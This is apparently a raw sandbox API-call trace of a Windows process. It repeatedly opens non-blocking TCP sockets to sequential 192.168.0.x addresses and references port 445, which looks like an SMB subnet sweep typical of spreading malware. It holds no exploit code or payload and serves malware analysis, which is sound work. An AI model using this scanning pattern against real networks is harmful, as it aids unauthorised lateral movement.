ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80007) returned 0x700a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80008) returned 0x800a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a80009) returned 0x900a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a8000a) returned 0xa00a8c0 [0210.113] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.113] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.113] htonl (hostlong=0xc0a8000b) returned 0xb00a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a8000c) returned 0xc00a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a8000d) returned 0xd00a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a8000e) returned 0xe00a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a8000f) returned 0xf00a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a80010) returned 0x1000a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a80011) returned 0x1100a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a80012) returned 0x1200a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a80013) returned 0x1300a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a80014) returned 0x1400a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.114] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.114] htonl (hostlong=0xc0a80015) returned 0x1500a8c0 [0210.114] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a80016) returned 0x1600a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a80017) returned 0x1700a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a80018) returned 0x1800a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a80019) returned 0x1900a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a8001a) returned 0x1a00a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a8001b) returned 0x1b00a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a8001c) returned 0x1c00a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a8001d) returned 0x1d00a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a8001e) returned 0x1e00a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a8001f) returned 0x1f00a8c0 [0210.115] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.115] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.115] htonl (hostlong=0xc0a80020) returned 0x2000a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80021) returned 0x2100a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80022) returned 0x2200a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80023) returned 0x2300a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80024) returned 0x2400a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80025) returned 0x2500a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80026) returned 0x2600a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80027) returned 0x2700a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80028) returned 0x2800a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a80029) returned 0x2900a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.116] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.116] htonl (hostlong=0xc0a8002a) returned 0x2a00a8c0 [0210.116] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a8002b) returned 0x2b00a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a8002c) returned 0x2c00a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a8002d) returned 0x2d00a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a8002e) returned 0x2e00a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a8002f) returned 0x2f00a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a80030) returned 0x3000a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a80031) returned 0x3100a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a80032) returned 0x3200a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a80033) returned 0x3300a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a80034) returned 0x3400a8c0 [0210.117] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.117] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.117] htonl (hostlong=0xc0a80035) returned 0x3500a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a80036) returned 0x3600a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a80037) returned 0x3700a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a80038) returned 0x3800a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a80039) returned 0x3900a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a8003a) returned 0x3a00a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a8003b) returned 0x3b00a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a8003c) returned 0x3c00a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a8003d) returned 0x3d00a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a8003e) returned 0x3e00a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a8003f) returned 0x3f00a8c0 [0210.118] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.118] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.118] htonl (hostlong=0xc0a80040) returned 0x4000a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80041) returned 0x4100a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80042) returned 0x4200a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80043) returned 0x4300a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80044) returned 0x4400a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80045) returned 0x4500a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80046) returned 0x4600a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80047) returned 0x4700a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80048) returned 0x4800a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a80049) returned 0x4900a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a8004a) returned 0x4a00a8c0 [0210.119] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.119] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.119] htonl (hostlong=0xc0a8004b) returned 0x4b00a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a8004c) returned 0x4c00a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a8004d) returned 0x4d00a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a8004e) returned 0x4e00a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a8004f) returned 0x4f00a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a80050) returned 0x5000a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a80051) returned 0x5100a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a80052) returned 0x5200a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a80053) returned 0x5300a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a80054) returned 0x5400a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a80055) returned 0x5500a8c0 [0210.120] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.120] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.120] htonl (hostlong=0xc0a80056) returned 0x5600a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] htonl (hostlong=0xc0a80057) returned 0x5700a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] htonl (hostlong=0xc0a80058) returned 0x5800a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] htonl (hostlong=0xc0a80059) returned 0x5900a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] htonl (hostlong=0xc0a8005a) returned 0x5a00a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] htonl (hostlong=0xc0a8005b) returned 0x5b00a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] htonl (hostlong=0xc0a8005c) returned 0x5c00a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] htonl (hostlong=0xc0a8005d) returned 0x5d00a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] htonl (hostlong=0xc0a8005e) returned 0x5e00a8c0 [0210.121] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.121] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0210.121] GetProcessHeap () returned 0x6a0000 [0210.121] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37af5a0 | out: hHeap=0x6a0000) returned 1 [0210.121] GetProcessHeap () returned 0x6a0000 [0210.121] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378d580 | out: hHeap=0x6a0000) returned 1 [0210.121] htons (hostshort=0x1bd) returned 0xbd01 [0210.121] GetProcessHeap () returned 0x6a0000 [0210.121] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x37af5a0 [0210.122] GetProcessHeap () returned 0x6a0000 [0210.122] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x378d580 [0210.122] htonl (hostlong=0xc0a80060) returned 0x6000a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80061) returned 0x6100a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80062) returned 0x6200a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80063) returned 0x6300a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80064) returned 0x6400a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80065) returned 0x6500a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80066) returned 0x6600a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80067) returned 0x6700a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80068) returned 0x6800a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.122] htonl (hostlong=0xc0a80069) returned 0x6900a8c0 [0210.122] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.122] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a8006a) returned 0x6a00a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a8006b) returned 0x6b00a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a8006c) returned 0x6c00a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a8006d) returned 0x6d00a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a8006e) returned 0x6e00a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a8006f) returned 0x6f00a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a80070) returned 0x7000a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a80071) returned 0x7100a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a80072) returned 0x7200a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl (hostlong=0xc0a80073) returned 0x7300a8c0 [0210.123] socket (af=2, type=1, protocol=6) returned 0xffffffff [0210.123] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0210.123] htonl 